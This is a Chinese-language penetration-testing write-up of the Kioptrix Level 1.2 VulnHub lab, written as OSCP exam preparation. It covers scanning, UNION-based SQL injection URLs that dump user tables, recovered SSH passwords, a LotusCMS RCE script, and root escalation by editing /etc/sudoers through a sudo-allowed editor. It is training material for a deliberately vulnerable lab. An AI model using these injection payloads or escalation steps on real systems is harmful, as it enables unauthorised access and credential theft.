OSCP备考_0x03_Vulnhub靶机_KIOPTRIX:LEVEL1.2(#3)
名称 | 说明 |
---|---|
靶机下载链接 | https://www.vulnhub.com/entry/kioptrix-level-12-3,24/ |
攻击机(kali) | ip:192.168.233.168 |
靶机(CentOS) | ip:192.168.233.169 |
信息收集
先使用arp-scan查看启用的机器(也可使用nmap -sn 192.168.1.0/24 ) *-sn:禁用端口扫描(仅主机发现)
查看到目标机器
192.168.233.169
开始使用nmap扫描端口(脚本存放位置/usr/share/nmap/scripts/)
nmap -sn 192.168.233.169 # 主机发现
nmap -p- -sV -O 192.168.233.169 # 全端口+服务+OS识别
nmap --script vuln 192.168.233.169 # 漏洞扫描
nmap -p 80,443 --script http-* 192.168.233.169 #web专项扫描
nmap --script http-sql-injection -p 80,443 192.168.233.169 #只做sql注入扫描
以上信息收集后
开放端口:
tcp 22,80(可能存在sql注入和CSRF)
22/tcp open ssh OpenSSH 4.7p1
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6
也可以使用网页插件
目录扫描(dirb、dirsearch、gobuster)
kali自带的
dirb http://target.com/ /usr/share/wordlists/dirb/common.txt -o result.txt (图形化dirbuster)
使用APT 安装 dirsearch出现kali下载密钥过期
curl -fsSL https://archive.kali.org/archive-key.asc | gpg --dearmor -o /etc/apt/trusted.gpg.d/kali.gpg
执行后即可apt update
dirsearch -u "http://kioptrix3.com/" --ip=192.168.233.169 --full-url -o /home/wsec/kioptrix3/dirsearch_info
将搜集到的信息放置
/home/wsec/kioptrix3/dirsearch_info
发现出现REDIRECTS 是另外一个入口 跟着目录下继续扫描看看
dirsearch -u 192.168.233.169/gallery/ -o dirsearch_gallery
使用grep -v 反向排除 然后awk去打印文本 -F " " 匹配空格 然后打印'{print $3}'
gobuster dir -u http://192.168.233.169 -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt -o gobuster_info
KALI字典位置:
/usr/share/wordlists/
指纹识别(whatweb)
whatweb "http://192.168.233.169/"
搜集到类似LotusCMS 的信息
web渗透
既然是blog就应该有留言板 测试看有没有XSS攻击
很明显被转义了 只好使用其它方法
查看登入方法
http://192.168.233.169/index.php?system=Admin
测试看看有没有SQL注入,发现没有,来测试爆破看看
抓包后 这边使用burp suite 选择好账号密码字典后开始爆破
非常好字典没有爆破成功...
图片排序功能(GET。可能存在SQL注入,优先考虑)
http://192.168.233.169/gallery/gallery.php?id=1&sort=photoid#photos
开始测试
1. 初步测试注入点('、AND 1=1)
2. 判断注入类型(布尔、时间、回显)
3. 判断列数(ORDER BY / UNION SELECT)
4. 找出可回显列
5. 利用 union / error-based 读取数据库信息
6. 提取账号、密码等敏感信息
发现在id=1 后面添加 * 或者 ' 就会导致SQL回显报错
http://192.168.233.169/gallery/gallery.php?id=1%20ORDER%20BY%207--+
代表总共有6个字段 开始手动使用SQL查看展示的SQL数据
http://192.168.233.169/gallery/gallery.php?id=1 union select 1,2,3,4,5,6--+\
http://192.168.233.169/gallery/gallery.php?id=1 union select 1,database(),version(),4,5,6--+\
MySQL 5.0 支持 information_schema
,你可以通过查询来枚举当前数据库的表:
GET /gallery/gallery.php?id=1 union select 1,table_name,3,4,5,6 FROM information_schema.tables WHERE table_schema=database()--+
举例:
?id=1 UNION SELECT 1, table_name, 3, 4 FROM information_schema.tables WHERE table_schema=database()--+
你可以通过查询来枚举当前数据库的字段:
GET /gallery/gallery.php?id=1%20union%20select%201,column_name,3,4,5,6%20FROM%20information_schema.columns%20WHERE%20table_name='gallarific_users'--+
举例:
?id=1 UNION SELECT 1, column_name, 3, 4 FROM information_schema.columns WHERE table_name='users'--+
GET /gallery/gallery.php?id=1%20union%20select%201,username,password,4,5,6%20FROM%20gallarific_users--+ HTTP/1.1
举例:
?id=1 UNION SELECT 1, column_name, 3, 4 FROM information_schema.columns WHERE table_name='users'--+
获取到admin账号密码
从dev_accounts表 获取到以下用户凭证信息(密码也可以cmd5网上解密):dreg/Mast3r,loneferret/starwars
这时候可以....
shell as user(ssh)
ssh -oHostKeyAlgorithms=+ssh-dss dreg@192.168.80.178
查找SUID可执行文件
find / -perm -u=s -type f 2>/dev/null
切换成loneferret
sudo -l 用途下图
ht
是个旧工具,不兼容 xterm-256color
TERM=xterm sudo /usr/local/bin/ht
在loneferret添加 /bin/bash
sudo /bin/bash ,拿下root权限
其他办法
使用
github上找到lotusRCE.sh ,
使用./lotusRCE.sh http://192.168.233.169
直接获取www-data权限
开始搜索查看是否有数据库配置
思路总结
只开放2个tcp端口,大概率是web渗透,考量应以SQLi、RCE等高危漏洞为首要突破点。
80端口(http):
通过对站点进行目录扫描和爬取,获取到了网站备份文件以及后台登录页。而后对功能点进行测试:评论/登录/图片排序功能。对应的测试点:XSS、SQLi、网站后台、用户凭证。
发现存在SQLi,使用sqlmap成功爆出
两个用户凭据
。ssh登录成功,获得初步立足点
。利用框架
LotusCMS
RCE漏洞成功获得反弹shell,再次获得立足点
,可以看到网站数据库配置文件。后续也发现图片管理使用另一套
CMS(Gallarific)
,存在sqli,尝试利用成功拿到两个ssh登录凭据。提权阶段。SSH登录后发现loneferret用户具有sudo /usr/local/bin/ht的权限
使用
ht编辑器
编辑/etc/sudoers
给该用户的添加
/bin/bash
权限,让该用户能sudo执行/bin/bash成功拿到root的shell
或追加
loneferret ALL=(ALL)NOPASSWD:ALL
,也可以通过直接修改/etc/passwd中root的密码等方法
反思到底哪里才是靶机正确的思路,是从web功能点测试方向切入,还是从框架漏洞利用方向深入,在若干信息中选择性地尝试突围,这才是渗透测试人员的本事。
需要随时盘点获得的信息,并对其进行判断,重要的是思路的拓展和细节的把控,即使走不通的也有其中的尝试和思考。
信息搜集如果能更加完整,会省很多兜圈子的操作。